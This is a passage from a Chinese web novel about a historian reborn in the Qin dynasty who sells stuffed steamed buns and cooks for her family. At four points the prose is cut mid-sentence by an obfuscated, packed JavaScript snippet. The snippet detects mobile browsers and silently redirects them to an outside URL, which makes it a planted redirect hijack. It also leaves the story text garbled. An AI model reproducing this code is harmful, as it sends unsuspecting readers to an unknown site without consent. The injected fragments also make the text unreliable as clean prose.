“那这又是什么？”那守卫的话把入口处熙熙攘攘的目光都吸引了过来，“别是什么暗器吧？我之前从未见过这样的。” “是双耳吊釜”，阿嫂怕她紧张，赶紧接过了话。 “这是什么？煮吃的用的？”那人又继续问。 说到自己擅长的领域，李卉就胆从两边生，她的声音也大了几分： “对的，釜里是熬好的卤肉，剁碎了舀进蒸饼里，味道很好呢！” 这个双耳吊釜是她请阿爹连夜去铁匠铺子里挑的，原本是没有那一双耳朵的，但李卉特意嘱咐了阿爹一定要费心让他加上，多点银钱都无妨。 然后还把铁匠铺子里最大的一个深肚釜买走了，现在就在众人跟前。 “这个釜的密封性好，现在的卤肉汤都还是热乎乎的呢。” 而现在天气也不是特别冷，更用不着用个炉子在底下煨着，不过如果以后生意好，到冬天的时候再考虑买炉子也不迟。 李卉语气热切，就差说上一句，“官爷，要不要来上一个尝尝？” 欲情故纵，她知道自己越是不说，周围的反应就更热烈，好多人都往她这个釜里探头探脑。事实证明也是如此，她方才的紧张和不安都完全消失得无影无踪，甚至她还有一点期待，“今天的生意一定开门红！” 阿嫂也感受到了她的变化，被她挤眉弄眼的笑弄得心情也很好。 那守卫也不是个拿官威压人的，把事情问明白便后退一步，表示放行。 李卉原本想拿上几个出来，给他们“意思意思”。但后面她还是就此作罢，因为这一手段在前世或许可行，但在大秦是断断不可的。 “他们如此重视律法，我可不能冒这个险。”李卉拿起的手又放下，因为她熟知这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191825|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历史，只要她一闭上眼睛，史书上的那些因为触犯法律而被刺字被断手断脚的阴森面孔便源源不断地浮现，然后不可避免地打了个寒颤。 阿嫂心细如发，赶紧握住她的手，鼓励她道，“走，卉娘，我们快走。” 可她们最终还是被叫住了，还是方才的那个守卫： “姑娘的小吃摊在市集何处？” 卉娘闻言大喜，这是当值时不便，下值了来的意思呢！ “西南角，靠着梁记粥铺的露天处便是。” 费这么些功夫，日头都升到半空，李卉才把家伙事摆起，坐等第一个顾客上门。 这是一家开在粥铺外头的露天小吃摊，阿嫂见她好奇地打量着四周，便道： “阿娘说粥铺旁边有客源，偶尔她们粥铺的蒸饼卖完了，也会从咱们这买。” 可李卉不用想也知道，这个偶尔肯定是极其少见的偶尔，不过她也不着急，反正现在她帮着打理这小吃摊，那么假以时日一定会有所改观，没准儿还能和粥铺谈生意呢。 于是在第一个顾客没上门之前，她便耐心地将木墩摆出来，又磨了磨亮锃锃的菜刀，从釜中舀出两三块卤肉来，三五两下剁碎了，就把蒸饼对半切开，但不切断，然后将用菜刀的刀片盛出来一部分，“喂”到蒸饼里，然后放在一旁的竹篮里，露天灰尘大，她还搭了一块阿娘织费了的布。 闲着也是闲着，她一会儿工夫就做了六个出来，肉的素的各三个。 “这不是方才在入口处和守卫掰扯的小娘子吗？” 终于有一妇人上前来，李卉和阿嫂忙起身相迎，但见她穿得朴素，膝盖上还摞了俩补丁，便事先觉得她可能不会是一个大主顾。 可没想到，这妇人开口便要了四个，“我家媳妇在家中当月母哩，市面上什么东西都买来吃了，你这里里头夹肉的蒸饼我还是头一次见，估计她也爱这新鲜味儿！” 这反转！果然不能以貌取人啊，李卉和阿嫂赶忙从竹篮中拿出四个来，却见那人有扭捏之态，“我家媳妇就爱吃口温吞热乎的，劳烦你们现做可好？” 只要你买，什么都好。李卉心道，这样还省了她再做了，于是便手脚麻利地又做出四个来，最后她还又拿了两个蒸饼来切开，里头浇上卤肉汤汁，“这两个全当我送您的，若您老不嫌弃，就这样空口吃着，卤肉汁蒸饼也别有一番风味的。” “啊，好的，那就多谢了！”那老妇人付了钱便笑着离开了。 有了第一个生意，李卉的勇气又回来了，人虽不是鱼贯而入的多，却每隔上一段时间就有一两个人来买，这一上午的生意倒还不错。 纯肉的蒸饼买的人少些，毕竟价贵；素的蒸饼卖得最好，估计大伙儿都想先买个不那么贵的尝个鲜，因为他们说，“好吃日后再来买”；还有些只想买蒸饼的，李卉便会问他们的意见，要不要浇上些卤肉汤汁，多数人也是愿意的，因为免费的汤汁不要白不要嘛；阿嫂一开始还认为这么好吃的汤汁送了人都是浪费，可李卉却不这么想，薄利多销，放长线才能钓上来大鱼哩！ 过了午时，竹篮里便只剩下最后一个蒸饼了。 忙活了这一通，李卉也不打算对自己吝啬，她和阿嫂把肉和菜都各自加了一点，然后对半分了，姑嫂俩几口就下了肚。 等她擦完了嘴，准备收拾东西走人时，迎面却来了一个人。 仔细一瞧，还正是那个守卫：“小娘子，蒸饼可还有吗？” 7.定下规矩 听到问话，李卉下意识就想站的笔直，正如市井百姓见到官差那般。 那人却笑得随和，“我真是过来买蒸饼的，一早就闻着香了……” 等他打量空空如也的双耳深肚釜，还有立在木墩上的那把锃亮的菜刀，脸上的遗憾尽收眼底。 “那还真是不巧，确实卖完了，如您所见，方才那最后一个也被我们姐妹俩吃完了，您要买的话，就等两日后吧！” 今天是第一天，卖了个精光，看来是不错的。 李卉颇为满意，再看阿嫂也是满面春风，知道换了花样定是比以往赚得多点。 却见来人十分懊丧，“那好吧，看来今日是没有口福了……” 李卉正准备安慰，却又听那人自我攻略道：“不过两日后更好，我不当值，到时候换了便装来买蒸饼，小娘子可是要给我留些呀！” 李卉失笑，却又存心想要逗他，此人看着年轻，约莫不过比她大上六七岁的样子，不想却这般孩子气，便道：“那公子可要早些，我家的蒸饼可是整个长平街上的独一份呢！” 她这样想也没错，因为第一日吃了觉得好吃的，肯定陆续都会回来，那必然是会带更多的客源来的。 那守卫说完便略略行了一个礼，倒也是毫不拖泥带水地转身而去。 阿嫂倒是留了个心：“他说让给他留点，卉娘你看着他像是说话算数的人吗？” “应该……算数吧？”李卉自己心里也说不上来，这长平街上买吃食的这么多，她家的小吃摊当然也不会是食客的第一选择，不过李卉对自己的手艺还是很自信的，“阿嫂，咱不去想这些没发生的事情……” 说着她晃了晃钱袋，岔开了话题：“瞧，咱们今日收获满满一钱袋呢！” 这可是她在大秦第一次凭着自己的劳动赚了钱，再怎么高兴都不为过。 阿嫂也高兴，卉妹新弄的夹肉夹菜的蒸饼，就是比普通的蒸饼好吃，卖得好自然就赚的多。她心里也是感恩的，就拉起李卉的手道： “走，阿嫂今日做东，咱们去市集上逛逛，买点东西回去庆贺庆贺！” 果然不管哪个朝代，女生都很喜欢买买买呀，李卉握着第一次赚来的钱，心情也无比豪迈：“走，买买买！” 说着就像一条雀跃的鱼游入大海一般，融入了热闹喧嚣的市集。 李卉记得，在她的大学时代，才开始接触到中国历史的秦汉部分时，第一印象就是太久远了，她自己又爱捣鼓吃的，就时常跟好友抱怨说这要是有个机会穿越回古代，可能只有饿得面黄肌瘦的份。 后来读了研究生，因为受了迷人的老祖宗的蛊惑，她便果断选择了秦汉断代史。 一路读到博后出站，又以秦汉断代史为衣食父母，真正扎实开始做起学术和教书后，自己原来对秦汉时期的印象才有些改观。 机缘巧合穿越了一回，也是在秦朝，不得不感叹命运的奇妙。 就比如现在，她在市集上看到的，已经有了韭菜、小葱和冬葵，还有荇菜和前世知名影视剧中出现过的“莼菜鲈鱼羹”的莼菜…… 肉食则更多，羊肉，鸡肉，猪肉等摆得满满当当，不过买鱼肉的更多，因为多而便宜，其他的都是要有不同社会地位和不同收入的人，才能吃得起呢。 李卉掂量了一下手中的钱袋，买了两条一斤多左右的鱼，还买了一把韭菜和葱，当然，还买了一点点金贵的面粉，她想给大家露一手，包回饺子给大家吃。 可不曾想，等她俩两只手满载而归时，却正好在巷子门口遇到了午后去西山打猎回来的阿爹和大哥。 “耶，你们也刚回家？”大哥见前头细长的背影，便叫住了她们。 李卉嗯了一声，听出大哥语气里的高兴，便知道今天的收成不小。 果然，大哥的话匣子打开了—— “我和阿爹最早起来，忙完地里的活儿，才不到午时。我一时又手痒，就喊上阿爹和我一起去了趟西山，今日手气好，猎到了三只兔，还有一窝山雀，在草丛里还扒拉了一个蛇窝，回头做个龙凤汤来喝，味道定是错不了……” “大哥身手果然厉害”，李卉见那满满当当的猎物，由衷地夸赞起来。 从前世的秦始皇陵兵马俑来看，秦朝的军士果真都不是吹嘘，就她这一世平平无奇的大哥都能有如此好的身手，大秦铁骑果然是藏龙卧虎。 一句话把大哥夸得差点让他肝脑涂地，连声说道：“哪里哪里，没多厉害。” “厉害的，厉害的”，李卉跟他一唱一和，一行四人俱笑。 听到院门口动静的阿娘，从堂屋出来。 李卉看她一手扶着腰一手揉着眼，就知道她一定是在织布。 她就觉得挺感慨的，她在秦朝的家人们，也是在用各自的努力去支撑起这个家。 大家都不愿意拖这个家的后腿。 “都饿了吧？”阿娘道，“二月里春风还是寒的，都别站在门口说话，进来喝碗霍菜叶子羹吧，先垫垫肚子。” “可是，阿娘，我们今日没有蒸饼就羹吃了，蒸饼都卖完啦！” 李卉这才知道，原来阿娘是按照从前来准备的，她要织布，阿嫂去卖蒸饼，知道肯定会剩下几个，刚好在暮食之前让大家凑活着吃点，可今时却不同往日。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197344|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿娘很是惊喜，“卖完啦？” 过了一会儿又确认一遍，“当真？” 等李卉把买完东西剩下的钱放到阿娘手里时，她才有了实感。旋即又说： “真能干！可有给自己买点什么吃食？就当犒赏一番。” 李卉晃了晃她和阿嫂手中的物什，阿娘便和阿爹道，“这才对嘛！” “对”，阿爹道，“上次给了钱就只买鱼苗了……是该买一点。” “对”，大哥看了一眼阿嫂，“今儿我们的猎物也卖一半留一半，只当是给卉妹庆祝，庆祝她终于走出家门，不再整日窝在床榻之上，也开始赚钱补贴家用了！” 阿嫂怎会不答应？ 李卉自然也要承这份情，她忙说关于以后的市集买卖，她要立一个规矩： “往后只要是我市集上赚了的钱，咱们一家人都分成三份，大哥大嫂往后还要养孩子，开销小不了，所以就占四成；阿爹阿娘要存钱养老，也很重要，同样是四成；剩下的两成归我；因为目前我还小呢，一应开支都在家中，理应拿最少一份” 此话一出，大家都惊呆了。觉得这还是卉娘能说出来的话？ 不过阿娘看得通透，“卉娘这是不想一家人生嫌隙，所以才自己拿了最小的一份，咱们都念着你这份好，往后若是有用钱的地方，哪怕是将来你嫁到了夫家，到时回来言语一声，我们和你大哥大嫂都会竭力相帮！” 阿爹木讷，只言简意赅地说了句：“如此甚好。” 大哥摸了摸鼻头，“嗨，我倒是用上了妹妹赚的钱！” 于是他也依样画瓢地道，“我的俸禄不多，原本拿不出些什么，但往后家里的米面我可以拿上十斤，供家中小吃摊的一部分原材料，哦对了，我还可以时常外出打猎，我也这样来分配，总不好让卉妹一人吃亏！” “如此甚好！”阿爹还是只有这句，但他脸上是笑着的，看得出来他的老怀安慰。 这样也好，反正西山又不是指名道姓写了哪一个人的，打猎补贴家用，也是常有的事呢！大秦初级兵士的俸禄都是以米粮计，而且除了主食是定量的以外，时常还有些应季瓜果蔬菜供应，平民之家能吃上军粮，也是一件很光耀门楣的事。 于是这天，李卉将市集上卖蒸饼所得的钱，总计两百钱。 大哥阿嫂和爹娘各拿走八十钱，剩下的四十钱就归她自己。 大家看她把那四十钱宝贝得什么似的，纷纷觉得心中有愧，可李卉却不这么看，并且坚决拒绝了他们想要再贴补她的意思：“我是自己挣了钱高兴嘛，又不是真的缺钱。再说了，定下的规矩岂能朝令夕改？” 8.冷吃兔肉 众人被瞧出了心思，纷纷顾左右而言他。 后来还是阿娘：“就依你的意思，反正我们都是一家人，以后互相帮衬就是。” 前世的李卉就是个直来直去的人，她最不喜欢跟自己最亲近的人还弯弯绕绕打交道。不然她也不会博后出站有那么多的机会，她却偏偏选择了高校教师这行。 而到了大秦，发现人际交往在家庭兄嫂内都还是如此客气，她推脱来去反而有些心里憋闷，于是眼睛滴溜着环顾整个屋子，就想找点什么让这个话题早点过去。 “今日暮食我们吃兔肉可好？” 再配上一锅鲫鱼汤，把家里先前蒸好的蒸饼拿来粘上鱼汤，又软又烂，不仅入味还饱腹，兔肉她打算只做一种吃法，那就是各种调料和切丁的兔肉一起炒制，等放冷了吃——可就着蒸饼鱼汤下饭，也可饭后当小食消食。 她原本想包饺子给他们吃，还要宰肉剁馅，面又金贵，爹娘到时候不舍得下口，反倒是个负担。看到大哥打猎回来的兔子一共三只，她便动了这个心思。 见她主动提下厨，爹娘怎会不答应？ 还是阿嫂好，又提出来主动帮她。阿爹却说让她去歇着，自己和儿子来处理。 “咱们家的娘子军今日都辛苦了，反正兔子也是我们打回来的，我们来弄。” 说着便见大哥点头，又提起一只兔子利落地剐了皮，绛紫色的兔肉紧绷着，一看就十分壮实矫健，“给，这是三只中最大的一个自家人吃。” 另外两只他也很快弄好，把三只的兔毛都洗干了，准备晾到院子里去。 市集上专门有收动物皮毛的，一些食肆也有收这些野味的，随便都能卖出价。 所以大哥便劳作便哼唱着小调，心情很好。 走之前还说，“缺什么就言语一声啊。” 这边后厨里，李卉正往烧得正热的铁釜里熬猪油，阿嫂在灶间烧火。 火势很旺，滋啦滋啦的声音也掩盖住了大哥的话，灶屋里的两个人都没有听清。 本来用清油更好，但奈何条件实在有限，一会儿如果有油腥味儿，她就打算再多放一点五香八角茴香一类的大料进去，压一压应该会好上许多。 锅里油熬好了，各种调料也放了进去，她便嘱咐大嫂把釜盖盖上，闷一会儿，油就会更香。接下来她就去处理案板上的那只兔子。 她出手掂了掂，约莫有两三斤的样子，一顿就吃这一个菜就尽够了。 凡是肉都切成小丁，除兔头没有砍烂之外，兔腿也没能幸免。因为只有一只，所以她就尽量切小一点，但也不至于太小，显得分量多又不至于太过寒酸。 切好之后就用盐来码味，还有葱姜也能去腥。 一刻钟内，她又蒸了些麦饭，她想的是，一会儿若现成的蒸饼不够吃，就再搭着吃点麦饭，这样也能多个口味。 “阿嫂，再把火烧大一点，我要开始炒兔肉了。” 这句话在阿嫂听来无疑是吹响出征上战场的号角。 火很快就烧了起来，釜里的佐料在油锅里噼里啪啦响个不停，香气越发浓郁起来，李卉赶快将它们打捞起来，再将腌好的兔肉倒进去，飞快地翻炒。 佐料的焦香，热油的鲜香，还有新鲜兔肉咸香，在一瞬间都往李卉鼻子里钻。 好在，她对这样的味道是甘之如饴的。 虽然釜的锅底比前世的铁锅要厚得多，但架不住大火爆炒，很快兔肉便熟了。 因为这时候还没有辣椒，所以李卉就把青花椒放得多点，结果自己一尝，还好还好，舌头还在，“哎呀，这下做成椒麻兔了！” 阿嫂也过来尝，“哪有那么麻，我觉得很香啊。” 兔肉做好，舀起来装石钵里，为了要冷吃，所以就摊得很开。 然后她就再去做下一道菜——葱香鲫鱼汤。 这个菜没什么难度，只需要记住一个秘诀：凉白开，就能让鲫鱼汤如奶白。 这也是她的想法，一顿饭里不能尽是佐料多味道大的，得君臣佐使互相依存，这样才能吃得全家尽欢嘛。 蒸饼是一直煨在釜边，等菜做完，再拿出来就刚好。 于是不到半个时辰的光景，一盆白如牛乳的鲫鱼汤上桌，随后又是那一盆重头戏的冷吃兔丁，最后才是一碟子蒸饼。 “今日的卤肉都卖完了，阿爹，阿娘，你们别只吃这个白饼，蘸点汤汁更好吃。” 李卉先招呼的是家中老人，她和大哥大嫂是平辈，说话做事也就随意点，用不着每次都在说话做事前带上那一长串的称呼。 果然，不等她话说完，大哥就依言照做了，末了还极其夸张： “真的好吃，卉妹，这些你都是从哪里学来的？” 而为了不让自己穿帮，她便信口胡诌了个理由，“从前和阿嫂吵了嘴，等气性过了再吃都凉了，有一回也是吃鱼汤，我就把汤热了蘸了饼吃……” 大秦的普通百姓中最常见的肉类就是鱼，所以这个理由也不算离谱得过分。 “咱们都向前看，不提从前了哦，卉妹。” 阿嫂大度也怕她提起从前，惹得二老因姑嫂不和总是徒增伤心，所以用话岔开。 “嗯，阿嫂说的对”，李卉转过头去再次看向二老，“您们和哥哥都尝尝这冷吃兔肉，看味道如何？” 虽然这道菜在前世已经是是人有手就会做的家常菜，可穿越过来到大秦，反而心里没底。只见除了她，场上四人都用筷子夹起一块来。 李卉紧张得忘了吃饭，直到大哥接连吃了三块才停下来跟她说：“好吃！” 阿娘也加入了点评的队伍，“很好吃，兔肉不柴很入味，骨头都恨不得嚼烂呢！” 连木讷如阿爹，也难得说了一长句：“兔肉这样做真是新鲜，从前我们只想烤着来吃，就以为是味道的极限了！” 阿嫂倒是没怎么说，跟她却也挤眉弄眼了一番，好像在说，“我就说好吃吧！” 等他们都品评完，李卉才夹了一筷子，那一小块兔肉吃到嘴里，确实劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202524|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道弹牙，可能是自己不太能吃辣，所以才觉得青花椒放多了点。 “嗯，确实好吃。”李卉也夸了自己一句。 “哈哈哈！”大家都笑了，阿娘道，“就是要相信自己，这才对嘛！” 这顿饭吃了很久，蒸饼和鱼汤就着吃，本来就有很强的饱腹感。 可就算如此，那盆兔肉也要吃得见了底。 甚至，大哥大嫂觉得，自家小吃摊上，都可以再摆上一道名叫冷吃兔的招牌菜。 但这个想法却被她拒绝了：“现在我们的小吃摊还没有站稳脚跟，还是先不要忙着推出新品，不然喧宾夺主了，反而不好。” 就像现在，左邻右舍都知道他们家有一个蒸饼摊子，有时候家里懒得做饭就过来买。再说了，今天做的这道菜，真的就如家人们说的那样好嘛？ 要想推出去卖，还得多做几次才行。 毕竟家人的滤镜是很重的。 打定主意后，李卉便不再多想这个话题。反而她想到了一件需要求助于大哥的事：“大哥，我想请你帮我去陶匠铺子里看看，能不能买到一个下头可以放炭火的陶炉子，这样再出摊的时候，就不怕卤肉冷了……” 影响口感，还是多少会影响生意的。 “这个好说”，大哥拍拍胸脯，“不用买，我自己就能做。” “哇，太好了”，李卉这回的称赞比以往更走心。她都差点忘了，大哥不从军当值的日子里，也不会在家里躺着吃闲饭，阿爹的手艺好，他便跟着学了个几分。 不然在大秦，完全靠在地里刨食，日子不会过得有现在这样好。 前世她最爱刷的就是小某书，有一天她看到这样的一句话，“穿越后要想搞钱，还是得从商”，如今竟机缘巧合全部得到了印证！ 大哥的行动力也飞快，离下一次市集日还有两日，他便赶着做了出来。 “还是不耽误生意要紧”，大哥憨厚一笑，“再说了，那冷吃兔肉真好吃，要谢就多煮几次来吃嘛！” 李卉应了，她原本也是有这个打算的，“大哥下次何时再去西山？” 这次的兔肉她不打算再做了，全部卖掉的话，家中也能有一些进项。 但是现在她的手艺还在一点点地修复中，所以不敢把宝全压在这次的兔子上。 等再过上些时日，天气越来越热的时候，她再上新冷吃兔肉，还有麻辣兔头和兔腿，甚至整只烤兔，都行啊！ 大哥听到卉妹这样问，便知道她意有所指，便道： “这两日下雨，西山上路不好走，等天晴了我再去山上看看……” 李卉才晓得，打猎也不是全靠蛮干，大哥还做了好几个陷阱，过几日就去山上走一趟，就能有收获呢！ 她再次感叹，果然老实巴交在任何一个地方一个时代都是赚钱最慢的呀！ 不过，话又说回来了，对于她这个大秦新黔首来说，目前来看还是先老实巴交苟着要紧，诚心经营童叟无欺，小吃摊的生意才会越来越好啊！ 9.鸡肉盖浇 第二次市集日，在李卉更加期待的心情中再次来到。 这一次，因为有了陶炉子，她把供应量增大了一倍。 她还凭着前世自己过年时回老家，老父亲用烧过的木柴来取炭的记忆，烧了一背篓的木炭，只要有火就能燃烧，这样就能从根本上解决卤肉汤汁变冷的问题。 昨日李卉在做木炭的时候，还在想压煤饼的可能性。 可如今的朝代太靠前了，虽然煤作为燃料一直在零零星星被使用，但也是直到隋朝以后，也只有皇室才能经常使用，所以还是木炭来得方便，且不突兀，不易引起怀疑。 而那个陶炉，则可以完全按照她的设想，也就是后世的蜂窝炉子，来进行捏制。 反正她一升斗小民，也不至于搞一个什么发明创造来让人对她进行嘉奖，如果日后果真被人发现，就说是为了生计不得不想出来的法子，想来也不会被人为难。 “哟，这不是上次卖蒸饼的小娘子吗？” 经过上一次在市集入口处的那么大动静，守城官已经对她颇有几分印象。 “这小娘子什么来路？守城官竟然认得她？” “上次市集您老没来，她家就是之前在梁记粥铺外头摆摊卖蒸饼的，不过倒是上了新，卖得很好呢，可能想买都买不到呢！” …… 李卉边让人检查自己的货物，见那人对新做的陶炉感兴趣，她知道藏拙，就随便编了个理由搪塞了过去：“就想让大伙儿吃上一口热乎的，所以才想这个法子。” 她说得谦虚，面上又陪着笑，守城官便也不为难，道了声“放行”就过了关。 不知怎么回事，李卉这次进入市集摆摊，跟上次的紧张感完全不同。 她约莫知道了些经商之道，其中第一条就是“伸手不打笑脸人”。 照例就是把身上带来的东西卸下来，阿嫂做这些事情轻车熟路，李卉便一心一意去把陶炉子的火生起来。 不曾想，生火对她这个前世的现代人来说，还是个技术活儿。 好不容易生起来小火，等火势稍微大些，就再添上几块木炭，半天的火就够了。 等她拍拍手上的灰，准备起身和阿嫂并排站着迎客时，却发现自己变成了个大花脸。而这个尴尬的时刻，还是上次的那个城门守卫： “小娘子，你的脸……” 嗯？李卉心想，这叫什么事儿啊？ 这不就跟素面朝天的时候见到了自己的前男友一样糟糕嘛？ 咦，慢着，这样的比喻倒也不怎么恰当，于是她又正大光明地正色道，“这位公子，恭喜您成为了本摊的第一位顾客，可以免费送您一份卤肉……” 自己不尴尬，别人就不尴尬。 见李卉小小年纪，情绪内核却十分稳定，那人的眼神也变得更加欣赏且钦佩： “我就是怕自己跟上次一样买不到，所以特意赶了个早，还好！还好！” 李卉和阿嫂心照不宣地对视了一眼，也不揭穿他，这不刚好证明自家的蒸饼很好吃，才会有人一大早就来吃嘛！ 她特意将那人要的三个蒸饼里都多加了厚厚的汤汁和卤肉沫，再递给他的时候，又在送给他的那一个蒸饼里舀了满满两勺卤菜，“您一定还没吃朝食吧？若不嫌弃，就在我们小摊旁的小桌子上将就一口？” 李卉这话半是客套半又不是，那人却十分有礼：“不了，多谢小娘子美意，我还是带走吧，等回头小娘子的食肆开起来了，我再来光顾！” 哇，这句话的含金量简直拉满好吗？！ “多谢公子吉言！”李卉赶紧出言相谢，见那人走远了，却依旧跟上次一样忘记问他姓甚名谁，便要追上去。却被阿嫂拉住了： “他分明是在替你避嫌，未婚未嫁的闺阁女子，万不可与人过从甚密……” 李卉心想，我不过是要去问他叫什么，打听个人名而已。 如何这一点上却与书上先秦时期的开放民风不尽相同？ 在卖出去第十五个肉夹蒸饼后，她想通了—— 大概就跟前世一般，尽管可以自由婚恋，但多少女子因为恋情和苦荞一般的婚姻而受累半生，所以还是得多听听长辈的建议才行！ 就像《诗经》里不也有“女之耽兮，不可脱也”的句子吗？ 就算她想跟这位公子结交一下，但在人们眼中，大概也逃不掉“心悦”这个话题。 李卉想，自己才来到这边，还没站稳脚跟呢，谁想跟什么公子王孙扯上关系？ 还是老老实实摆摊挣钱要紧！ 于是她走过去，跟阿嫂道：“阿嫂，难为你跟我说这些。我以后会注意的。” 阿嫂看到她如今这般有礼，难免要在心中和原身进行对比，却在眼泪花儿在一双杏眼里包起后，又一次回应了她：“都是一家人，说什么谢。” 处理好情绪上的纷纷扰扰，李卉便一门心思扑在了生意上。 一整个上午都在捞卤肉，切卤肉，把蒸饼切开等她铺肉，则是阿嫂的活儿。 原不单是因为这活儿轻巧，还因为切肉的肥瘦相间，还有专门只要素菜或只要肉菜等食客的要求，只有前世吃惯了肉夹馍的李卉才能轻松分辨刀工火候。 她原本想过了午时，人会少些，却依旧是忙得马不停蹄。 她那条胳膊几乎都快抡成机械臂了，终于少了些人，捞一捞那釜底，也只剩下三分之一的时候，李卉和阿嫂才想起来给自己垫垫肚子。 她吃不得一丁点儿肥肉，于是给自己弄了一个纯瘦的肉夹蒸饼，用一个碗单独要了一碗汤汁来，放在她和阿嫂中间，当蘸水吃；阿嫂喜欢吃肥瘦都有的，李卉也给她做了一个，又单独切了一小碗卤肉放在一旁。 阿嫂还顾及着下午的生意，忙说这样太奢侈了，随便垫垫就是了，反正晚食也是要吃的。而且一定会吃好吃的，现在就吃得这么饱，晚食哪里还吃得下呀？ 原来，她们今日到市集，还有另一个任务，那就是替阿娘交一匹布到长宁街上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206808|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁和布庄，方才他们走不开，还是布庄的一个小伙计专门来取的，阿娘是他们布庄的老织娘了，布庄掌柜也和布庄的名号一样仁义，给她是最高的单价。 那伙计送来的钱是用一个绣着“仁和布庄”四个字的布袋子装着的。因为人多，姑嫂俩没仔细数，不过那份量李卉却是能大概掂量出来的，约莫有四五百钱呢！ 李卉也满是感激地装了荤素各一个的肉夹蒸饼，递给那个小伙计。 那小伙计忙不迭地道谢，顺道就又说了些最近布庄里卖得比较火的花样，说让大娘只管织了送过来，定能卖出好价钱。 李卉等那人走远了，才面有不忍之色，饶是这样，她还是心疼阿娘： “等我再赚几年钱，让阿娘就不要再织布了，多伤腰伤眼呐！” “是的，从前我和你大哥也劝过她，那时候她说什么都不肯听，总说还有你在家，得替你多打算打算，如今我瞧着，用不了多久，阿娘真的就可以不用织布啦！” 李卉知道阿嫂话里话外意有所指，谁让原身是这么个躺平的脾性呢？ 还能怎么着，只有先受着，然后从长计议图改变吧。 日头西斜，釜也见了底，李卉伸了伸懒腰，准备活动活动筋骨，打道回府。 今日她们姑嫂俩赚得还行，刨除人工费，肉、汤、饼和木炭的钱，约莫能剩下三百钱。这比起上一次确实有了提升，这给了李卉很大信心。 三百钱，两份四成，拿出去两百四十钱，她也能有六十钱呢！ 加起来上次的，她的小荷包里就能有一百钱啦！ 回到家里，阿娘也拿了五十钱给她，只说是人最小现在又知上进，这个钱该给。 而家中其他人也没有什么意见，李卉也就拿着了。 “今日大家都别下厨，我来！” 阿嫂说，这也是阿娘一向的习惯。她忙完了这一匹布，就歇上几日，再织新的。 而她今日早早就炖好了一锅鸡汤，这是她从巷子东头的养鸡李家卖的，四五斤重的大公鸡，肉质紧实，再辅以清汤熬煮，鸡肉和鸡汤最本真的味道都出来了，满屋飘香。 下午李卉忙得连水都没顾上喝几口，这会儿抱着碗一喝就是三海碗。 最后还打了一个嗝，惹得阿娘眼泪又要出来：“哎呀，阿卉和阿眉都辛苦了！” 鸡汤喝完，剁碎的鸡肉蘸了青蛙酱，厚厚地铺在喷香的麦饭上，只听大哥道： “哇，今日我们可真有口福，阿娘做的浇汁鸡肉麦饭是最拿手的！” 这不就是前世的鸡肉盖浇饭嘛！不过就是大秦的酱汁们总是如此惊世骇俗，她下定决心以后要好好改良一番。 她不爱吃青蛙酱，就索性用鸡汤泡饭吃： “阿爹，阿娘，大哥大嫂，我决定了，下一场我就开始在小摊上卖冷吃兔肉！” 为了阿娘不那么辛苦，也为了顿顿都有这么好吃的鸡肉，还有这么好喝的鸡汤，她也要在大秦的美食届，走出一条花路来！ 10.大哥离家 有了她这句话，又加上今日又分了些钱，大哥简直恨不得马上挎上弓箭去西山。 “哎呀，别急，卉娘明天又不用出去摆摊。”阿娘说。 李卉也点头表示同意，她算是明白为什么市集要三日一次了，因为高强度的工作，着实要耗费人太多的精力。所以说虽然钱挣了，但也确实累人呐。 尤其是现在吃饱喝足，她只有一个心愿，那就是赶紧回到自己小屋，躺在床上一觉睡到大天白亮。至于明天要干什么，就等明天早晨的太阳升起以后再说。 大家都看出了她的倦意，纷纷把她往桌下赶。 这一睡，果然睡得久，第二日都快到中午了，李卉才被早春屋外的鸟儿惊醒。 “都什么时辰了？”她自言自语，屋外听到动静的阿嫂先是端了盆水过来，让她洗漱净手，再端了一碗素的汤饼，里头卧了个跟前世鸽子蛋差不多大小的鸡蛋，还撒了把葱花，看得她咽了口口水，五脏庙便迫不及待地咕咕叫。 